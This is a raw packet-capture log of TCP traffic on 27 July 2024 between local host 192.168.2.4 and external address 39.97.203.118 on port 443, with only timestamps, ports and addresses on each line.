Jul 27, 2024 16:49:47.909142017 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.909214973 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.909214973 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.909276962 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.909316063 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.909369946 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.909369946 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.909387112 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.950545073 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.964282036 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.964446068 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.964561939 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.964561939 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.964623928 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.964658976 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.964673042 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.964688063 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.964715004 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.964799881 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.964926958 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.965024948 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.965024948 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.965090036 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.965126038 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.965187073 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.965203047 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.965259075 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.965276957 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.965341091 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.965441942 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.965507030 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.965584040 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.965646982 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.965742111 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.965802908 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.965897083 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.965955973 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.966036081 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.966104031 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.966180086 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.966242075 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.966309071 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.966372013 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.966437101 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.966496944 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.966568947 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.966629028 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.966701031 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.966761112 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.966839075 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.966898918 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.966979027 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.967041016 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.967117071 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.967180014 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.967253923 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.967314959 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.967389107 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.967453003 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.967540026 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.967607021 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.967662096 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.967724085 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.967797995 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.967855930 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.967940092 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.968002081 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.998255968 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.998393059 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.998449087 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.998449087 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.998511076 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.998553038 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.998574972 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.998589993 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.998620033 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.998686075 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.998816967 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.998857021 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.998924017 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.998959064 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.998964071 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.999030113 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:47.999052048 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:47.999111891 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.046855927 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.047046900 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.047805071 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.047939062 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.048000097 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.048058033 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.048099041 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.048176050 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.048176050 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.048207045 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.048254967 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.214078903 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.214274883 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.214421988 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.214427948 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.214428902 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.214490891 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.214556932 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.214569092 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.214725971 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.214787960 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.214787960 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.214850903 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.214916945 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.214973927 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.214989901 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.215034962 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.215059996 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.215186119 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.215277910 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.215279102 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.215312958 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.215337992 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.215379953 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.215466022 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.215528011 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.215557098 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.215600014 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.215616941 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.215631962 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.215662956 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.215734959 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.215795994 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.215806961 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.215856075 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.215866089 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.215890884 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.215923071 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.216026068 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.216094971 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.216135979 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.216160059 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.216187954 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.216200113 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.216226101 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.216393948 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.216454029 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.216464996 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.216552019 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.216552973 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.216577053 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.216617107 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.216708899 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.216769934 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.216780901 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.216837883 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.272862911 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.273032904 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.273063898 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.273130894 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.273169994 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.273175001 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.273192883 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.273205996 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.273237944 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.273333073 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.273463964 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.273531914 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.273531914 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.273595095 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.273633957 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.273715973 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.273744106 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.273772955 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.273811102 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.273828983 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.273854017 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.273912907 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.273969889 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.273981094 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.274046898 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.274595022 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.274666071 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.274775982 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.274887085 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.274914980 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.274976969 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.275053024 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.275111914 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.275192022 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.275257111 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.275322914 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.275396109 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.300204039 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.300365925 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.300395966 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.300462008 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.300558090 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.300559044 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.301927090 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.302109957 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.302124023 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.302191019 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.302233934 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.302249908 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.302253962 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.302283049 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.302316904 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.302421093 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.302500010 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.302516937 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.302578926 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.302588940 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.302601099 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.302634954 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.302753925 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.302815914 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.302826881 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.302887917 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.302887917 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.302910089 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.302947044 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.303047895 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.303108931 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.303119898 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.303174973 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.303178072 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.303204060 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.303234100 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.303337097 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.303394079 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.303405046 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.303457022 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.303481102 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.303544998 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.303642035 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.303708076 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.303777933 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.303837061 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.303906918 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.303972006 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.304042101 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.304104090 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.304172993 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.304230928 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.362348080 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.362539053 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.362620115 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.362620115 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.362680912 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.362720966 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.362755060 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.362775087 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.362799883 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.362865925 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.362999916 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.363029957 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.363096952 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.363138914 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.363146067 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.363198996 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.363214016 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.363274097 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.363297939 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.363353968 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.363437891 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.363511086 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.363586903 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.363651991 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.363729954 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.363789082 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.363862991 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.363920927 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.363992929 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.364052057 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.364161015 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.364228964 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.364295959 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.364362955 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.389225960 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.389422894 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.389451027 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.389517069 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.389564037 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.389584064 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.389633894 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.389652967 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.389729023 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.389739037 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.389842033 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.389859915 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.389885902 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.389915943 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.389931917 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.389955997 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.390166044 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.390233040 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.390244961 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.390327930 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.390391111 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.390402079 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.390460014 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.390482903 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.390539885 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.390619993 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.390685081 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.390782118 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.390846968 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.390933037 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.390990019 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.391084909 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.391146898 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.391216993 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.391282082 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.391355038 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.391412973 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.391486883 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.391547918 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.391618013 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.391684055 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.391746998 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.391812086 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.469789982 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.469973087 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.470103025 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.470103025 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.470114946 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.470165014 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.470216036 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.470262051 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.470388889 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.470520973 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.470521927 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.470521927 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.470592022 CEST	443	49740	39.97.203.118	192.168.2.4
Jul 27, 2024 16:49:48.470645905 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.470645905 CEST	49740	443	192.168.2.4	39.97.203.118
Jul 27, 2024 16:49:48.470659018 CEST	443	49740	39.97.203.118	192.168.2.4
